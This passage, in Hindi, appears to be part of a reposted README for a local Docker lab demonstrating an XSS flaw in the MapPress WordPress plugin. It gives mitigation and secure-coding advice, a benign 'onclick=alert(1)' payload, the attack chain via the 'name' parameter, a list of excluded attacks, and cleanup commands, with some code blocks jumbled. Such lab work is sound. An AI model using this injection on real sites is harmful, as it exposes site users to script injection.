* पुष्टि करें कि स्थापित प्लगइन संस्करण प्रभावित श्रेणी में नहीं है।
* अपडेट करने के बाद पेज कैश और CDN कैश साफ़ करें।
* संदिग्ध `mappress=embed` अनुरोधों के लिए एक्सेस लॉग की समीक्षा करें।
* संदिग्ध `name` पैरामीटर मानों के लिए लॉग खोजें।
* ईवेंट हैंडलर वाले `mappress=embed` अनुरोधों के लिए एक अस्थायी WAF नियम पर विचार करें।
* वर्डप्रेस एडमिन कार्यक्षमता के अनावश्यक एक्सपोज़र को प्रतिबंधित करें।
* जहां अनुकूल हो, एक प्रतिबंधात्मक कंटेंट सिक्योरिटी पॉलिसी का उपयोग करें।
* वर्डप्रेस कोर, थीम और प्लगइन्स को अपडेट रखें।

सुरक्षा इंजीनियरिंग पाठ:

* सभी HTML विशेषताओं को कोट करें।
* सटीक आउटपुट संदर्भ के लिए आउटपुट को एस्केप करें।
* वर्डप्रेस HTML विशेषता आउटपुट के लिए `esc_attr()` का उपयोग करें।
* आउटपुट एस्केपिंग के प्रतिस्थापन के रूप में `sanitize_text_field()` पर भरोसा न करें।
* iframe और शॉर्टकोड रेंडरिंग पथों के लिए रिग्रेशन परीक्षण जोड़ें।
* कस्टम वेब कंपोनेंट रेंडरिंग की समीक्षा करें क्योंकि कस्टम टैग अभी भी सामान्य HTML पार्सिंग नियमों का पालन करते हैं।

## सुरक्षा सीमाएँ

यह प्रयोगशाला केवल स्थानीय सुरक्षा अनुसंधान और नियंत्रित प्रदर्शन के लिए है।

उन सिस्टमों के विरुद्ध मैनुअल XSS URL का उपयोग न करें जिनके आप मालिक नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट प्राधिकरण नहीं है।

इस प्रयोगशाला में वास्तविक उत्पादन क्रेडेंशियल्स, ग्राहक डेटा, भुगतान डेटा, API कुंजियाँ, डेटाबेस क्रेडेंशियल्स या उत्पादन रहस्यों का उपयोग न करें।

इच्छित दायरा स्थानीय Docker सेवाओं तक सीमित है जैसे:```text
http://localhost:8081
http://localhost:8082
http://127.0.0.1:8081
http://127.0.0.1:8082

मैन्युअल payload जानबूझकर हानिरहित है:```text onclick=alert(1)

root@kitploit:~
* कुकी चोरी,
* क्रेडेंशियल चोरी,
* CSRF टोकन चोरी,
* एडमिन कार्यों का दुरुपयोग,
* बाहरी कॉलबैक,
* ब्लाइंड XSS संग्रहण,
* मैलवेयर,
* स्थिरता (persistence),
* फिशिंग किट,
* ब्राउज़र शोषण,
* पार्श्व गति (lateral movement),
* ग्राहक डेटा तक पहुंच,
* या गैर-लैब प्रणालियों पर हमले।

लक्ष्य एक नियंत्रित वातावरण में एक विशिष्ट तकनीकी स्थिति का प्रदर्शन करना है:```text
Unauthenticated iframe request
+ crafted name parameter
+ vulnerable target creates executable event handler attribute
+ patched target keeps payload inside quoted id attribute

सफाई

कंटेनर, नेटवर्क और वॉल्यूम को रोकें और हटाएं:```bash docker compose down -v --remove-orphans

root@kitploit:~
यदि चाहें तो स्थानीय रूप से बनाई गई लैब इमेज को हटा दें:```bash
docker image rm cve-2026-56011-vuln cve-2026-56011-patched

जाँच करें कि कोई लैब कंटेनर शेष नहीं है:```bash docker compose ps

root@kitploit:~
## संदर्भ

* CVE रिकॉर्ड: CVE-2026-56011
  https://www.cve.org/CVERecord?id=CVE-2026-56011

* NVD: CVE-2026-56011
  https://nvd.nist.gov/vuln/detail/CVE-2026-56011

* वर्डप्रेस प्लगइन: MapPress Maps for WordPress
  https://wordpress.org/plugins/mappress-google-maps-for-wordpress/

* वर्डप्रेस प्लगइन चेंजलॉग: MapPress Maps for WordPress
  https://wordpress.org/plugins/mappress-google-maps-for-wordpress/#developers

* Patchstack: MapPress Maps for WordPress <= 2.97.3 XSS
  https://patchstack.com/database/wordpress/plugin/mappress-google-maps-for-wordpress/vulnerability/wordpress-mappress-maps-for-wordpress-plugin-2-97-3-cross-site-scripting-xss-vulnerability

* Wordfence Intelligence: MapPress Maps for WordPress <= 2.97.3
  https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/mappress-google-maps-for-wordpress/

* WPScan भेद्यता डेटाबेस: MapPress Maps for WordPress < 2.97.4
  https://wpscan.com/vulnerability/

* वर्डप्रेस प्लगइन डाउनलोड: MapPress 2.97.3
  https://downloads.wordpress.org/plugin/mappress-google-maps-for-wordpress.2.97.3.zip

* वर्डप्रेस प्लगइन डाउनलोड: MapPress 2.97.4
  https://downloads.wordpress.org/plugin/mappress-google-maps-for-wordpress.2.97.4.zip
टूल डाउनलोड करें